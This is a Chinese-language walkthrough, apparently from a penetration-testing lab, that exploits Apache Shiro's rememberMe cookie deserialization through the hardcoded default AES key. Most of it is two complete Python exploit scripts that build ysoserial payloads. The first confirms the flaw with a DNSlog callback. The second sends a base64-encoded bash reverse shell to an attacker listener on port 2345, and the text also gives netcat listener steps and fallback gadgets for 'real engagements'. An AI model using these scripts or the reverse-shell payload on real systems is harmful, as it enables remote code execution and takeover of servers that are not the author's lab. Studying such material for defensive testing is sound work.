http://192.168.64.134:8081/
    image.png

    这个漏洞就是先生成带有payload的cookie,把cookie放在请求包中发送给目标服务端,目标服务器接收到这个cookie,会进行反序列化操作。

    POC:

    1. #!/usr/bin/env python3
    2. # coding=utf-8
    3. import sys
    4. import uuid
    5. import base64
    6. import subprocess
    7. import requests
    8. import random
    9. from Crypto.Cipher import AES
    10. #EXP_CLASS = ["URLDNS"]
    11. #EXP_CLASS = ["CommonsBeanutils1"]
    12. #EXP_CLASS = ["CommonsCollections2"]
    13. EXP_CLASS = ["JRMPClient"]
    14. BLOCK_SIZE = AES.block_size
    15. PAD_FUNC = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)).encode()
    16. SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
    17. AES_MODE = AES.MODE_CBC
    18. AES_IV = uuid.uuid4().bytes
    19. def attack(target):
    20. for _exp_class in EXP_CLASS:
    21. print("[*] Try to use {} payload...".format(_exp_class))
    22. command = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], 5)) + '.9qe5rc.ceye.io'
    23. print("[*] Try to use dnslog: {}".format(command))
    24. popen = subprocess.Popen(["java", "-jar", "ysoserial.jar", _exp_class,command],stdout=subprocess.PIPE)
    25. encryptor = AES.new(base64.b64decode(SHIRO_KEY), AES_MODE, AES_IV)
    26. file_body = PAD_FUNC(popen.stdout.read())
    27. base64_ciphertext = base64.b64encode(AES_IV + encryptor.encrypt(file_body))
    28. #print("[*] base64_ciphertext: {}".format(base64_ciphertext))
    29. print("[*] base64_decodeTXT: rememberMe={}".format(base64_ciphertext.decode()))
    30. try:
    31. response = requests.get(target, timeout=20, cookies={"rememberMe": base64_ciphertext.decode()})
    32. print ('[*] Request to target URL success!')
    33. except Exception as e:
    34. print("[x] Request to target URL fail! {}".format(e))
    35. break
    36. if __name__ == '__main__':
    37. target=(sys.argv[1])
    38. attack(target)

    我一般遇到这个漏洞,先会用打dnslog来证明漏洞是否存在
    dnslog平台:http://ceye.io/
    注册登录之后,去http://ceye.io/profile找到你的Identifier
    image.png
    把poc中的ceye平台地址改成自己的

    先用dns平台来证明漏洞存在:
    py -3 shiro.py http://192.168.64.134:8081/
    image.png
    上面是打dnslog的地址,下面为带有payload的cookie
    也可以把cookie放在burp里面,自己请求发包

    再去看dnslog平台
    image.png
    出现dnslog记录,说明漏洞存在

    我们来利用反弹shell
    上面打dnslog用的gadget为JRMPClient,现在换成CommonsCollections2来反弹shell
    poc改为

    1. #!/usr/bin/env python3
    2. # coding=utf-8
    3. import sys
    4. import uuid
    5. import base64
    6. import subprocess
    7. import requests
    8. import random
    9. from Crypto.Cipher import AES
    10. EXP_CLASS = ["CommonsCollections2"]
    11. BLOCK_SIZE = AES.block_size
    12. PAD_FUNC = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)).encode()
    13. SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
    14. AES_MODE = AES.MODE_CBC
    15. AES_IV = uuid.uuid4().bytes
    16. def attack(target):
    17. for _exp_class in EXP_CLASS:
    18. print("[*] Try to use {} payload...".format(_exp_class))
    19. command = "bash -c {echo,YmFz
    20. aCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"
    21. popen = subprocess.Popen(["java", "-jar", "ysoserial.jar", _exp_class,command],stdout=subprocess.PIPE)
    22. encryptor = AES.new(base64.b64decode(SHIRO_KEY), AES_MODE, AES_IV)
    23. file_body = PAD_FUNC(popen.stdout.read())
    24. base64_ciphertext = base64.b64encode(AES_IV + encryptor.encrypt(file_body))
    25. #print("[*] base64_ciphertext: {}".format(base64_ciphertext))
    26. print("[*] base64_decodeTXT: rememberMe={}".format(base64_ciphertext.decode()))
    27. try:
    28. response = requests.get(target, timeout=20, cookies={"rememberMe": base64_ciphertext.decode()})
    29. print ('[*] Request to target URL success!')
    30. except Exception as e:
    31. print("[x] Request to target URL fail! {}".format(e))
    32. break
    33. if __name__ == '__main__':
    34. target=(sys.argv[1])
    35. attack(target)

    command改为bash -c {echo,YmFz
    aCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}
    command是攻击代码,让目标主机执行的。
    后面的bash命令就是反弹一个shell,在weblogic漏洞也见过了,我这里是监听2345端口
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjM0NSAwPiYx 是
    bash -i >& /dev/tcp/192.168.64.1/2345 0>&1 base64加密后数据
    这要根据自己的情况来改

    192.168.64.1 用nc监听2345端口
    image.png

    然后运行poc
    image.png

    成功反弹shell
    image.png

    如果在实战情况中,CommonsCollections2不行的话,也可以试试CommonsBeanutils1